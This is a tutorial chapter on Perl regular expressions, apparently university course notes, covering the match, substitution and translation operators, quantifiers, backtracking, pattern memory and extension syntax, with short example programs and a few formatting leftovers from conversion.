- What are regular Expressions
- Using Regular Expressions
  - Special pattern matching character operators
- Backtracking
- Setting the Target Operator (Binding)
- Substitution
- The Matching Operator (m//)
  - The Matching Options
- The Translation Operator (tr///)
  - The Translation Options
- The Binding Operators
- Character Classes
- Quantifiers
- Pattern Memory
- Pattern Precedence
- Extension Syntax
- Pattern Examples
- Some Practical Examples
  - Using the Match Operator
  - Using the Substitution Operator
  - Example: Using the Translation Operator
  - Example: Using the *Split()* Function

---

dave@cs.cf.ac.uk

What are regular Expressions

You can use a *regular expression* to find patterns in strings: for example, to look for a specific name in a phone list or all of the names that start with the letter *a*. Pattern matching is one of Perl's most powerful and probably least understood features. But after you read this chapter, you'll be able to handle regular expressions almost as well as a Perl guru. With a little practice, you'll be able to do some incredibly handy things.

There are three main uses for regular expressions in Perl: matching, substitution, and translation. The matching operation uses the `m//` operator, which evaluates to a true or false value. The substitution operation substitutes one expression for another; it uses the `s//` operator. The translation operation translates one set of characters to another and uses the `tr//` operator.

All three regular expression operators work with `$_` as the string to search. You can use the binding operators (see later in this section) to search a variable other than `$_`.

Both the matching (`m//`) and the substitution (`s///`) operators perform variable interpolation on the PATTERN and REPLACEMENT strings. This comes in handy if you need to read the pattern from the keyboard or a file.

If the match pattern evaluates to the empty string, the last valid pattern is used. So, if you see a statement like print if `//`; in a Perl program, look for the previous regular expression operator to see what the pattern really is. The substitution operator also uses this interpretation of the empty pattern.

---

dave@cs.cf.ac.uk

Using Regular Expressions

A *regular expression* is essentially a template or pattern to be matched against a string.

In Perl a regular expression is enclose inside two slashes: `/regular_expression/`

The regular expression may contain:

- Ordinary text to be matched to an exact pattern (or sub pattern)
- Special operator characters -- characters that have a special meaning and control how we match patterns

---

- Special pattern matching character operators

---

dave@cs.cf.ac.uk

Special pattern matching character operators

In particular the following metacharacters have their standard egrep-ish meanings:

```
\   Quote the next metacharacter
^   Match the beginning of the line
.   Match any character (except newline)
$   Match the end of the line (or before newline at the end)
|   Alternation
()  Grouping
[]  Character class
```

The simplest and very common pattern matching character operators is the .

This simply allows for any single character to match where a . is placed in a regular expression.

For example /b.t/ can match to bat, bit, but or anything like bbt, bct ....

Square brackets (`[..]`) allow for any one of the letters listed inside the brackets to be matched at the specified position.

For example `/b[aiu]t/` can only match to bat, bit or but.

You can specify a range inside `[..]`. For example (`regex.pl`):

```
[012345679] # any single digit
[0-9] # also   any single digit
[a-z] # any single lower case letter
[a-zA-Z] # any single letter
[0-9\-] # 0-9 plus minus character
```

The *caret* (`^`) can be used to negate matches

For example (`regex.pl`):

```
[^0-9] # any single non-digit
[^aeiouAEIOU] # any single non-vowel
```

The control characters `\d (digit), \s (space), \w (word character)` can also be used. `\D, \S, \W` are the negations of `\d\s\w` (More on This Soon)

By default, the `^` character is guaranteed to match at only the beginning of the string, the `$` character at only the end (or before the newline at the end) and Perl does certain optimizations with the assumption that the string contains only one line. Embedded newlines will not be matched by `^` or `$`. You may, however, wish to treat a string as a multi-line buffer, such that the `^` will match after any newline within the string, and `$` will match before any newline. At the cost of a little more overhead,

you can do this by using the `/m` modifier on the pattern match operator. (Older programs did this by setting `$*`, but this practice is now deprecated.)

To facilitate multi-line substitutions, the `.` character never matches a newline unless you use the `/s` modifier, which in effect tells Perl to pretend the string is a single line-even if it isn't. The `/s` modifier also overrides the setting of `$*`, in case you have some (badly behaved) older code that sets it in another module.

The following standard quantifiers are recognized:

```
*      Match 0 or more times
+      Match 1 or more times
?      Match 1 or 0 times
{n}    Match exactly n times
{n,}   Match at least n times
{n,m}  Match at least n but not more than m times
```

(If a curly bracket occurs in any other context, it is treated as a regular character.) The `*` modifier is equivalent to `{0,}`, the `+` modifier to `{1,}`, and the `?` modifier to `{0,1}`. `n` and `m` are limited to integral values less than 65536.

By default, a quantified subpattern is "greedy", that is, it will match as many times as possible (given a particular starting location) while still allowing the rest of the pattern to match. If you want it to match the minimum number of times possible, follow the quantifier with a "?". Note that the meanings don't change, just the "greediness":

```
*?     Match 0 or more times
+?     Match 1 or more times
??     Match 0 or 1 time
{n}?   Match exactly n times
{n,}?  Match at least n times
{n,m}? Match at least n but not more than m times
```

Some Simple Examples

`fa*t` matches to ft, fat, faat, faaat *etc*

(`.*`) can be used a *wild card* match for any number (zero or more) of any characters.

Thus `f.*k` matches to fk, fak, fork, flunk, *etc.*

`fa+t` matches to fat, faat, faaat *etc*

`.+` can be used to match to one or more of any character *i.e.* at least something must be there.

Thus `f.+k` matches to fak, fork, flunk, *etc.* **but not** fk.

`?` matches to zero or one character.

Thus `ba?t` matches to bt or bat.

`b.?t` matches to bt, bat, bbt, *etc.* **but not** bunt or higher than four-letter words.

`ba{3}t}` only matches to baaat.

`ba{1,4}` matches to bat, baat, baaat and baaaat

Because patterns are processed as double quoted strings, the following also work:

```
\t          tab                   (HT, TAB)
\n          newline               (LF, NL)
\r          return                (CR)
\f          form feed             (FF)
\a          alarm (bell)          (BEL)
\e          escape (think troff)  (ESC)
\033        octal char (think of a PDP-11)
\x1B        hex char
\c[         control char
\l          lowercase next char (think vi)
\u          uppercase next char (think vi)
\L          lowercase till \E (think vi)
\U          uppercase till \E (think vi)
\E          end case modification (think vi)
\Q          quote regular expression metacharacters till \E
```

If use locale is in effect, the case map used by `\l`, `\L`, `\u` and `<\U>` is taken from the current locale. See in the perllocale manpage.

The control characters `\d (digit), \s (space), \w (word character)` can also be used. `\D, \S, \W` are the negations of `\d\s\w`

Note that `\w` matches a single alphanumeric character, not a whole word. To match a word you'd need to say `\w+`. If use locale is in effect, the list of alphabetic characters generated by `\w` is taken from the current locale. See in the perllocale manpage. You may use `\w, \W, \s, \S, \d`, and `\D` within character classes (though not as either end of a range).

Perl defines the following zero-width assertions:

```
\b  Match a word boundary
\B  Match a non-(word boundary)
\A  Match at only beginning of string
\Z  Match at only end of string (or before newline at the end)
\G  Match only where previous m//g left off (works only with /g)
```

A word boundary (`\b`) is defined as a spot between two characters that has a `\w` on one side of it and a `\W` on the other side of it (in either order), counting the imaginary characters off the beginning and end of the string as matching a `\W`. (Within character classes `\b` represents backspace rather than a word boundary.) The `\A` and `\Z`are just like `^` and `$` except that they won't match multiple times when the `/m` modifier is used, while `^` and `$` will match at every internal line boundary. To match the actual end of the string, not ignoring newline, you can use `\Z(?!\n)`. The `\G` assertion can be used to chain global matches (using `m//g`) -- *see later*.

Parenthesis as Memory

Parenthesis can be used to delimit special matches (enforce precedence)

For example:

```
(abc)*
```

matches `" ",abc, abcabc, abcabcabc,.....`

and

```
(a|b)(c|d)
```

matches `ac, ad,bc,bd`

- The brackets `()` can be used to remember and
-

When the bracketing construct (...) is used, `\ matches the digit'th substring. Outside of the pattern, always use $ instead of \ in front of the digit. (While the \ notation can on rare occasion work outside the current pattern, this should not be relied upon.)`

So :

```
dave(.)marshall\1
```

will match something like

```
daveXmarshallX
```

BUT NOT

```
daveXmarshallY
```

You can have more than one memory:

For Example:

```
a(.)b(.)c\2d\1
```

would match axbycydx for example.

Multiple chars (inc. 0) can be remembered:

```
a(.*)b\1c
```

matches to abc, aFREDbFREDc

BUT NOT

aXXbXXXc, for example.

Read Only Variables

After a successful match the variable $1, $2, $3, ... are set on the same values as \1,\2,\3, ...

The scope of $<digit> (and $`, $&, and $') extends to the end of the enclosing BLOCK or eval string, or to the next successful pattern

match, whichever comes first. If you want to use parentheses to delimit a subpattern (e.g., a set of alternatives) without saving it as a subpattern, follow the (with a ?:.

So you can use later in code.

```
$_ = "One Two Three Four Once ....";
/(\w+)\W+(\w+)/; # match first two words

print "1st Word is " . $1" . "\n";
print "2nd Word is " . $2" . "\n";
```

You also rearrange the read-only variables.

Example:

```
    s/^([^ ]*) *([^ ]*)/$2 $1/;     # swap first two words

    if (/Time: (..):(..):(..)/) {
        $hours = $1;
        $minutes = $2;
        $seconds = $3;
    }
```

Once perl sees that you need one of $&, $` or $' anywhere in the program, it has to provide them on each and every pattern match. This can slow your program down. The same mechanism that handles these provides for the use of $1, $2, etc., so you pay the same price for each regular expression that contains capturing parentheses. But if you never use $&, etc., in your script, then regular expressions without capturing parentheses won't be penalized. So avoid $&, $', and $` if you can, but if you can't (and some algorithms really appreciate them), once you've used them once, use them at will, because you've already paid the price.

You will note that all backslashed metacharacters in Perl are alphanumeric, such as \b, \w, \n. Unlike some other regular expression languages, there are no backslashed symbols that aren't alphanumeric. So anything that looks like \\, \(, \), \<, \>, \{, or \} is always interpreted as a literal character, not a metacharacter. This makes it simple to quote a string that you want to use for a pattern but that you are afraid might contain metacharacters. Quote simply all the non-alphanumeric characters:

```
    $pattern =~ s/(\W)/\\$1/g;
```

You can also use the builtin quotemeta() function to do this. An even easier way to quote metacharacters right in the match operator is to say

```
/$unquoted\Q$quoted\E$unquoted/
```

Perl defines a consistent extension syntax for regular expressions. The syntax is a pair of parentheses with a question mark as the first thing within the parentheses (this was a syntax error in older versions of Perl). The character after the question mark gives the function of the extension. Several extensions are already supported:

```
(?#text)
```

-- A comment. The text is ignored. If the /x switch is used to enable whitespace formatting, a simple # will suffice.

```
(?:regular_expression)
```

This groups things like () but doesn't make backreferences like () does. So

```
split(/\b(?:a|b|c)\b/)
```

is like

```
split(/\b(a|b|c)\b/)
```

but doesn't spit out extra fields.

```
(?=regular_expression)
```

A zero-width positive lookahead assertion. For example, /\w+(?=\t)/ matches a word followed by a tab, without including the tab in $&.

```
(?!regular_expression)
```

A zero-width negative lookahead assertion. For example foo(?!bar)/ matches any occurrence of "foo" that isn't followed by "bar". Note however that lookahead and lookbehind are NOT the same thing. You cannot use this for lookbehind: /(?!foo)bar/ will not find an occurrence of "bar" that is preceded by something which is not "foo". That's because the (?!foo) is just saying that the next thing cannot be "foo" -- and it's not, it's a "bar", so "foobar" will match. You would have to do something like /(?!foo)...bar/ for that. We say "like" because there's the case of your "bar" not having three characters before it. You could cover that this way: (?:(?!foo)...|^..?)bar/. Sometimes it's still easier just to say:

```
if (/foo/ && $` =~ /bar$/)
```

```
(?imsx)
```

One or more embedded pattern-match modifiers. This is particularly

useful for patterns that are specified in a table somewhere, some of which want to be case sensitive, and some of which don't. The case insensitive ones need to include merely (?i) at the front of the pattern. For example:

```
$pattern = "foobar";
if ( /$pattern/i )

# more flexible:

$pattern = "(?i)foobar";
if ( /$pattern/ )
```

The specific choice of question mark for this and the new minimal matching construct was because 1) question mark is pretty rare in older regular expressions, and 2) whenever you see one, you should stop and "question" exactly what is going on. That's psychology...

---

 dave@cs.cf.ac.uk

Backtracking

A fundamental feature of regular expression matching involves the notion called backtracking. which is used (when needed) by all regular expression quantifiers, namely `*, *?, +, +?, {n,m}`, and `{n,m}?`.

For a regular expression to match, the entire regular expression must match, not just part of it. So if the beginning of a pattern containing a quantifier succeeds in a way that causes later parts in the pattern to fail, the matching engine backs up and recalculates the beginning part-that's why it's called backtracking.

Here is an example of backtracking: Let's say you want to find the word following "foo" in the string "Food is on the foo table.":

```
$_ = "Food is on the foo table.";
if ( /\b(foo)\s+(\w+)/i ) {
    print "$2 follows $1.\n";
}
```

When the match runs, the first part of the regular expression (`\b(foo)`) finds a possible match right at the beginning of the string, and loads up `$1` with "Foo". However, as soon as the matching engine sees that there's no whitespace following the "Foo" that it had saved in `$1`, it realizes its mistake and starts over again one character after where it had the tentative match. This time it goes all the way until the next occurrence of "foo". The complete regular expression matches this time, and you get the expected output of "table follows foo."

Sometimes minimal matching can help a lot. Imagine you'd like to match everything between "foo" and "bar". Initially, you write something like this:

```
$_ =  "The food is under the bar in the barn.";
if ( /foo(.*)bar/ ) {
    print "got <$1>\n";
}
```

Which perhaps unexpectedly yields:

```
got <d is under the bar in the >
```

That's because `.*` was greedy, so you get everything between the first "foo" and the last "bar". In this case, it's more effective to use minimal matching to make sure you get the text between a "foo" and the first "bar" thereafter.

```
if ( /foo(.*?)bar/ ) { print "got <$1>\n" }
```

```
got <d is under the >
```

Here's another example: let's say you'd like to match a number at the end of a string, and you also want to keep the preceding part the match. So you write this:

```
$_ = "I have 2 numbers: 53147";
if ( /(.*)(\d*)/ ) {                                  # Wrong!
    print "Beginning is <$1>, number is <$2>.\n";
}
```

That won't work at all, because `.*` was greedy and gobbled up the whole string. As `\d*` can match on an empty string the complete regular expression matched successfully.

```
Beginning is <I have 2 numbers: 53147>, number is <>.
```

Here are some variants, most of which don't work:

```
$_ = "I have 2 numbers: 53147";
@pats = qw{
    (.*)(\d*)
    (.*)(\d+)
    (.*?)(\d*)
    (.*?)(\d+)
    (.*)(\d+)$
    (.*?)(\d+)$
    (.*)\b(\d+)$
    (.*\D)(\d+)$
};

for $pat (@pats) {
    printf "%-12s ", $pat;
    if ( /$pat/ ) {
        print "<$1> <$2>\n";
    } else {
        print "FAIL\n";
    }
}
```

That will print out:

```
(.*)(\d*)    <I have 2 numbers: 53147> <>
(.*)(\d+)    <I have 2 numbers: 5314> <7>
(.*?)(\d*)   <> <>
(.*?)(\d+)   <I have > <2>
(.*)(\d+)$   <I have 2 numbers: 5314> <7>
(.*?)(\d+)$  <I have 2 numbers: > <53147>
(.*)\b(\d+)$ <I have 2 numbers: > <53147>
(.*\D)(\d+)$ <I have 2 numbers: > <53147>
```

As you see, this can be a bit tricky. It's important to realize that a regular expression is merely a set of assertions that gives a definition of success. There may be 0, 1, or several different ways that the definition might succeed against a particular string. And if there are multiple ways it might succeed, you need to understand backtracking to know which variety of success you will achieve.

When using lookahead assertions and negations, this can all get even tricker. Imagine you'd like to find a sequence of non-digits not followed by "123". You might try to write that as

```
$_ = "ABC123";
if ( /^\D*(?!123)/ ) {                          # Wrong!
    print "Yup, no 123 in $_\n";
}
```

But that isn't going to match; at least, not the way you're hoping. It claims that there is no 123 in the string. Here's a clearer picture of why it that pattern matches, contrary to popular expectations:

```
$x = 'ABC123' ;
$y = 'ABC445' ;

print "1: got $1\n" if $x =~ /^(ABC)(?!123)/ ;
print "2: got $1\n" if $y =~ /^(ABC)(?!123)/ ;

print "3: got $1\n" if $x =~ /^(\D*)(?!123)/ ;
print "4: got $1\n" if $y =~ /^(\D*)(?!123)/ ;
```

This prints

```
2: got ABC
3: got AB
4: got ABC
```

You might have expected test 3 to fail because it seems to a more general purpose version of test 1. The important difference between them is that test 3 contains a quantifier (`\D*`) and so can use backtracking, whereas test 1 will not. What's happening is that you've asked "Is it true that at the start of `$x`, following 0 or more non-digits, you have something that's not 123?" If the pattern matcher had let `\D*` expand to "ABC", this would have caused the whole pattern to fail. The search engine will initially match `\D*` with "ABC". Then it will try to match (verb|!123| with "123" which, of course, fails. But because a quantifier (`\D*`) has been used in the regular expression, the search engine can backtrack and retry the match differently in the hope of matching the complete regular expression.

Well now, the pattern really, really wants to succeed, so it uses the standard regular expression back-off-and-retry and lets `\D*` expand to just "AB" this time. Now there's indeed something following "AB" that is not "123". It's in fact "C123", which suffices.

We can deal with this by using both an assertion and a negation. We'll say that the first part in `$1` must be followed by a digit, and in fact, it must also be followed by something that's not "123". Remember that the lookaheads are zero-width expressions-they only look, but don't consume any of the string in their match. So rewriting this way produces what you'd expect; that is, case 5 will fail, but case 6 succeeds:

```
print "5: got $1\n" if $x =~ /^(\D*)(?=\d)(?!123)/ ;
print "6: got $1\n" if $y =~ /^(\D*)(?=\d)(?!123)/ ;

6: got ABC
```

In other words, the two zero-width assertions next to each other work like they're ANDed together, just as you'd use any builtin assertions: `/^$/` matches only if you're at the beginning of the line AND the end of the line simultaneously. The deeper underlying truth is that juxtaposition in regular expressions always means AND, except when you write an explicit OR using the vertical bar. `/ab/` means match "a" AND (then) match "b", although the attempted matches are made at different positions because "a" is not a zero-width assertion, but a one-width assertion.

One warning: particularly complicated regular expressions can take exponential time to solve due to the immense number of possible ways they can use backtracking to try match. For example this will take a very long time to run

```
/((a{0,5}){0,5}){0,5}/
```

And if you used `*`'s instead of limiting it to 0 through 5 matches, then it would take literally forever-or until you ran out of stack space.

There are some other pattern matching constructs see recommended Perl books or online Perl references for more details and plenty of examples.

---

 dave@cs.cf.ac.uk

Setting the Target Operator (Binding)

We have so far seen how matching can be set up but not how it works in practice.

The `=~` lets you match against a specified target (rather than an environment variable `$_`. In CGI (see Later) and other application we frequently need to match against input name/values.

We usually use an `if` statement to control the match (`target.pl`).

```
$infile = ; # whatever

if ( $infile =~ /*.gif/)
  { # file is gif format file
    # well at least it ends in a .gif

   ........
   }
```

Substitution

We may frequently need to change a pattern in a string. The substitution operator (`s`) is the simplest form of substitution. It has the form:

```
s/old_regex/new_string/
```

So to replace the `+` characters from CGI input with a space we could do:

```
$CGI_in_val =~ s/\+/ /ge;
```

We can qualify the substitution with a `g` global substitution, `i` ignore case and `e` evaluate right side as expression and others.

---

dave@cs.cf.ac.uk

The Matching Operator (m//)

The matching operator (`m//`) is used to find patterns in strings. One of its more common uses is to look for a specific string inside a data file. For instance, you might look for all customers whose last name is "Johnson," or you might need a list of all names starting with the letter *s*.

The matching operator only searches the `$_` variable. This makes the match statement shorter because you don't need to specify where to search. Here is a quick example:

```
$_ = "AAA bbb AAA";
print "Found bbb\n" if  m/bbb/;
```

The print statement is executed only if the `bbb` character sequence is found in the `$_` variable. In this particular case, `bbb` will be found, so the program will display the following:

```
Found bbb
```

The matching operator allows you to use variable interpolation in order to create the pattern. For example (`match1.pl`):

```
$needToFind = "bbb";
$_ = "AAA bbb AAA";
print "Found bbb\n" if  m/$needToFind/;
```

Using the matching operator is so commonplace that Perl allows you to leave off the `m` from the matching operator as long as slashes are used as delimiters (`match2.pl`):

```
$_ = "AAA bbb AAA";
print "Found bbb\n" if  /bbb/;
```

Using the matching operator to find a string inside a file is very easy because the defaults are designed to facilitate this activity. For example (`match3.pl`):

```
$target = "M";
open(INPUT, "<findstr.dat");
while (<INPUT>) {
     if (/$target/) {
         print "Found $target on line $.";
     }
}
close(INPUT);
```

Note The `$.` special variable keeps track of the record number. Every time the diamond operators

read a line, this variable is incremented.

This example reads every line in an input searching for the letter `M`. When an `M` is found, the print statement is executed. The print statement prints the letter that is found and the line number it was found on.

- The Matching Options

The Matching Options

The matching operator has several options that enhance its utility, similar to substitution. The most useful option is probably the capability to ignore case and to create an array of all matches in a string. The options are:

- g -- This option finds all occurrences of the pattern in the string. A list of matches is returned or you can iterate over the matches using a loop statement.
- i -- This option ignores the case of characters in the string.
- m -- This option treats the string as multiple lines. Perl does some optimization by assuming that `$_` contains a single line of input. If you know that it contains multiple newline characters, use this option to turn off the optimization.
- o -- This option compiles the pattern only once. You can achieve some small performance gains with this option. It should be used with variable interpolation only when the value of the variable will not change during the lifetime of the program.
- s -- This option treats the string as a single line.
- x -- This option lets you use extended regular expressions. Basically, this means that Perl will ignore white space that's not escaped with a backslash or within a character class. This option is highly recommend so you can use spaces to make your regular expressions more readable.

All options are specified after the last pattern delimiter. For instance, if you want the match to ignore the case of the characters in the string, you can do this (`match4.pl`):

```
$_ = "AAA BBB AAA";
print "Found bbb\n" if  m/bbb/i;
```

This program finds a match even though the pattern uses lowercase and the string uses uppercase because the `/i` option was used, telling Perl to ignore the case.

The result from a global pattern match can be assigned to an array variable or used inside a loop. This feature comes in handy after you learn about meta-characters in the section called "How to Create Patterns" later in this chapter.

For more information about the matching options, see the section, "Pattern Examples" later in this chapter.

The Translation Operator (tr///)

The translation operator (`tr///`) is used to change individual characters in the `$_` variable. It requires two operands, like this:

```
tr/a/z/;
```

This statement translates all occurrences of `a` into `z`. If you specify more than one character in the match character list, you can translate multiple characters at a time.

For instance:

```
tr/ab/z/;
```

translates all `a` and all `b` characters into the `z` character. If the replacement list of characters is shorter than the target list of characters, the last character in the replacement list is repeated as often as needed. However, if more than one replacement character is given for a matched character, only the first is used. For instance:

```
tr/WWW/ABC/;
```

results in all `W` characters being converted to an `A` character. The rest of the replacement list is ignored.

Unlike the matching and substitution operators, the translation operator doesn't perform variable interpolation.

Note The `tr` operator gets its name from the UNIX `tr` utility. If you are familiar with the `tr` utility, then you already know how to use the `tr` operator. The UNIX `sed` utility uses a `y` to indicate translations. To make learning Perl easier for `sed` users, `y` is supported as a synonym for `tr`.

- The Translation Options

---

dave@cs.cf.ac.uk

The Translation Options

The translation operator has options different from the matching and substitution operators. You can delete matched characters, replace repeated characters with a single character, and translate only characters that don't match the character list. The translation options are:

- c -- This option complements the match character list. In other words, the translation is done for every character that does not match the character list.
- d -- This option deletes any character in the match list that does not have a corresponding character in the replacement list.
- s -- This option reduces repeated instances of matched characters to a single instance of that character.

Normally, if the match list is longer than the replacement list, the last character in the replacement list is used as the replacement for the extra characters. However, when the d option is used, the matched characters simply are deleted.

If the replacement list is empty, then no translation is done. The operator still will return the number of characters that matched, though. This is useful when you need to know how often a given letter appears in a string. This feature also can compress repeated characters using the `s` option.

Note UNIX programmers may be familiar with using the `tr` utility to convert lowercase characters to uppercase characters, or vice versa. Perl now has the `lc()` and `uc()` functions that can do this much quicker.

---

 dave@cs.cf.ac.uk

The Binding Operators

The binding operators (=~ and !~) are used as search, modify, and translation operations and work on the $_ variable by default. What if the string to be searched is in some other variable? That's where the binding operators come into play. They let you bind the regular expression operators to a variable other than $_. There are two forms of the binding operator: the regular =~ and its complement !~. The following small program shows the syntax of the =~ operator (bind1.pl):

```
$scalar       = "The root has many leaves";
$match        = $scalar =~ m/root/;
$substitution = $scalar =~ s/root/tree/;
$translate    = $scalar =~ tr/h/H/;

print("\$match        = $match\n");
print("\$substitution = $substitution\n");
print("\$translate    = $translate\n");
print("\$scalar       = $scalar\n");
```

This program displays the following:

```
$match        = 1
$substitution = 1
$translate    = 2
$scalar       = The tree has many leaves
```

This example uses all three of the regular expression operators with the regular binding operator. Each of the regular expression operators was bound to the $scalar variable instead of $_. This example also shows the return values of the regular expression operators. If you don't need the return values, you could do this (bind2.pl):

```
$scalar = "The root has many leaves";
print("String has root.\n") if $scalar =~ m/root/;
$scalar =~ s/root/tree/;
$scalar =~ tr/h/H/;
print("\$scalar = $scalar\n");
```

This program displays the following:

```
String has root.
$scalar = The tree has many leaves
```

The left operand of the binding operator is the string to be searched, modified, or transformed; the right operand is the regular expression operator to be evaluated. The complementary binding operator

is valid only when used with the matching regular expression operator. If you use it with the substitution or translation operator, you get the following message if you're using the `-w` command-line option to run Perl:

```
Useless use of not in void context at bind.pl line 4.
```

You can see that the `!~` is the opposite of `=~` by replacing the `=~` in the previous example. This is (`bind3.pl`):

```
$scalar = "The root has many leaves";
print("String has root.\n") if $scalar !~ m/root/;
$scalar =~ s/root/tree/;
$scalar =~ tr/h/H/;
print("\$scalar = $scalar\n");
```

This program displays the following:

```
$scalar = The tree has many leaves
```

The first print line does not get executed because the complementary binding operator returns false.

---

dave@cs.cf.ac.uk

Character Classes

A character class defines a type of character. The character class `[0123456789]` defines the class of decimal digits, and `[0-9a-f]` defines the class of hexadecimal digits. Notice that you can use a dash to define a range of consecutive characters. Character classes let you match any of a range of characters; you don't know in advance which character will be matched. This capability to match non-specific characters is what meta-characters are all about.

You can use variable interpolation inside the character class, but you must be careful when doing so. For example (`char1.pl`),

```
$_ = "AAABBBccC";
$charList = "ADE";
print "matched" if m/[$charList]/;
```

will display

```
matched
```

This is because the variable interpolation results in a character class of `[ADE]`. If you use the variable as one-half of a character range, you need to ensure that you don't mix numbers and digits. For example (`char2.pl`),

```
$_ = "AAABBBccC";
$charList = "ADE";
print "matched" if m/[$charList-9]/;
```

will result in the following error message when executed:

```
/[ADE-9]/: invalid [] range in regexp at test.pl line 4.
```

At times, it's necessary to match on any character except for a given character list. This is done by complementing the character class with the caret. For example (`char3.pl`),

```
$_ = "AAABBBccC";
print "matched" if m/[^ABC]/;
```

will display nothing. This match returns true only if a character besides `A`, `B`, or `C` is in the searched string. If you complement a list with just the letter `A` (`char4.pl`):

```
$_ = "AAABBBccC";
print "matched" if m/[^A]/;
```

then the string `"matched"` will be displayed because `B` and `C` are part of the string-in other words, a

character besides the letter A.

Perl has shortcuts for some character classes that are frequently used. The control characters `\d (digit), \s (space), \w (word character)` can also be used. `\D, \S, \W` are the negations of `\d\s\w`

You can use these symbols inside other character classes, but not as endpoints of a range. For example, you can do the following:

```
$_ = "\tAAA"; print "matched" if m/[d\s]/;}
```

which will display

```
matched
```

because the value of `$_` includes the tab character.

Tip Meta-characters that appear inside the square brackets that define a character class are used in their literal sense. They lose their meta-meaning. This may be a little confusing at first.

Note I think that most of the confusion regarding regular expressions lies in the fact that each character of a pattern might have several possible meanings. The caret could be an anchor, it could be a caret, or it could be used to complement a character class. Therefore, it is vital that you decide which context any given pattern character or symbol is in before assigning a meaning to it.

---

 dave@cs.cf.ac.uk

Quantifiers

Perl provides several different quantifiers that let you specify how many times a given component must be present before the match is true. They are used when you don't know in advance how many characters need to be matched.

The Six Types of Quantifiers are:

- * -- The component must be present zero or more times.
- + -- The component must be present one or more times.
- ? -- The component must be present zero or one times.
- {n} -- The component must be present n times.
- {n,} -- The component must be present at least n times.
- {n,m} -- The component must be present at least n times and no more than m times.

If you need to match a word whose length is unknown, you need to use the `+` quantifier. You can't use an `*` because a zero length word makes no sense. So, the match statement might look like this:

```
m/\w+/;
\begin{verbatim}


\par This pattern will match {\tt "QQQ"} and {\tt "AAAAA"}
but not {\tt ""} or {\tt " BBB"}. In order to account for
the leading white space, which may or may not be at the beginning of a string, you
need to use the asterisk ({\tt *}) quantifier in conjunction with the {\tt
\verb|\|{\tt s} symbolic character class in the following way:

\begin{verbatim}
m/\s*\w+/;
```

Tip Be careful when using the `*` quantifier because it can match an empty string, which might not be your intention. The pattern `/b*/` will match any string-even one without any `b` characters.

At times, you may need to match an exact number of components. The following match statement will be true only if five words are present in the `$_` variable (`quant1.pl`):

```
$_ = "AA AB AC AD AE";
m/(\w+\s+){5}/;
```

In this example, we are matching at least one word character followed by zero or more white space characters. The `{5}` quantifier is used to ensure that that combination of components is present five times.

The `*` and `+` quantifiers are greedy. They match as many characters as possible. This may not always be the behavior that you need. You can create non-greedy components by following the quantifier with a `?`.

Use the following file specification in order to look at the `*` and `+` quantifiers more closely:

```
$_ = '/user/Jackie/temp/names.dat';
```

The regular expression `.*` will match the entire file specification. This can be seen in the following small program (`quant2.pl`):

```
$_ = '/user/Jackie/temp/names.dat';
m/.*/;
print $&;
```

This program displays

```
/user/Jackie/temp/names.dat
```

You can see that the `*` quantifier is greedy. It matched the whole string. If you add the ? modifier to make the `.*` component non-greedy, what do you think the program would display (`quant3.pl`)?

```
$_ = '/user/Jackie/temp/names.dat';
m/.*?/;
print $&;
```

This program displays nothing because the least amount of characters that the `*` matches is zero. If we change the `*` to a `+`, then the program will display /

Next, let's look at the concept of pattern memory, which lets you keep bits of matched string around after the match is complete.

---

 dave@cs.cf.ac.uk

Pattern Memory

Matching arbitrary numbers of characters is fine, but without the capability to find out what was matched, patterns would not be very useful. Perl lets you enclose pattern components inside parentheses in order to store the string that matched the components into pattern memory. You also might hear *pattern memory* referred to as *pattern buffers*. This memory persists after the match statement is finished executing so that you can assign the matched values to other variables.

You saw a simple example of this earlier right after the component descriptions. That example looked for the first word in a string and stored it into the first buffer, `$1`. The following small program (`mem1.pl`):

```
$_ =  "AAA BBB ccC";
m/(\w+)/;
print("$1\n");
```

will display

```
AAA
```

You can use as many buffers as you need. Each time you add a set of parentheses, another buffer is used. If you want to find all the words in the string, you need to use the /g match option. In order to find all the words, you can use a loop statement that loops until the match operator returns false (`mem2.pl`).

```
$_ =  "AAA BBB ccC";

while (m/(\w+)/g) {
    print("$1\n");
}
```

The program will display

```
AAA
BBB
ccC
```

If looping through the matches is not the right approach for your needs, perhaps you need to create an array consisting of the matches (`mem3.pl`).

```
$_ =  "AAA BBB ccC";
@matches = m/(\w+)/g;
print("@matches\n");
```

The program will display:

```
AAA BBB ccC
```

Perl also has a few special variables to help you know what matched and what did not. These variables occasionally will save you from having to add parentheses to find information.

- **$+** -- This variable is assigned the value that the last bracket match matched.
- **$&** - This variable is assigned the value of the entire matched string. If the match is not successful, then $& retains its value from the last successful match.
- **$`** -- This variable is assigned everything in the searched string that is before the matched string.
- **$'** -- This variable is assigned everything in the search string that is after the matched string.

Hint If you need to save the value of the matched strings stored in the pattern memory, make sure to assign them to other variables. Pattern memory is local to the enclosing block and lasts only until another match is done.

---

 dave@cs.cf.ac.uk

Pattern Precedence

Pattern components have an order of precedence just as operators do. If you see the following pattern:

`m/a|b+/`

it's hard to tell if the pattern should be

- `SPMquot`m/(a|b)+/" -- match either the "a" character repeated one or more times or the "b" character repeated one or more times.

  or
- `SPMquot`m/a|(b+)/" -- match either the "a" character or the "b" character repeated one or more times.

The order of precedence is designed to solve problems like this. By consulting the Perl order of precedence table, you would see that quantifiers have a higher precedence than alternation. Therefore, the second interpretation is correct.

You can use parentheses to affect the order in which components are evaluated because they have the highest precedence. However, unless you use the extended syntax, you will be affecting the pattern memory.

---

dave@cs.cf.ac.uk

Extension Syntax

The regular expression extensions are a way to significantly add to the power of patterns without adding a lot of meta-characters to the proliferation that already exists. By using the basic (`?...`) notation, the regular expression capabilities can be greatly extended.

At this time, Perl recognizes five extensions. These vary widely in functionality-from adding comments to setting options. They are:

- (?# TEXT) -- This extension lets you add comments to your regular expression. The TEXT value is ignored.
- (?:...) -- This extension lets you add parentheses to your regular expression without causing a pattern memory position to be used.
- (?=...) -- This extension lets you match values without including them in the `$&` variable.
- (?!...) -- This extension lets you specify what should not follow your pattern. For instance, `/blue(?!bird)/` means that `"bluebox"` and `"bluesy"` will be matched but not `"bluebird"`.
- (?sxi) This extension lets you specify an embedded option in the pattern rather than adding it after the last delimiter. This is useful if you are storing patterns in variables and using variable interpolation to do the matching.

A very useful feature of extended mode is the ability to add comments directly inside your patterns. For example, would you rather a see a pattern that looks like this (`ext1.pl`):

```
# Match a string with two words. $1 will be the
# first word. $2 will be the second word.

m/^\s+(\w+)\W+(\w+)\s+$/;
```

or one that looks like this (`ext2.pl`):

```
m/
    (?# This pattern will match any string with two)
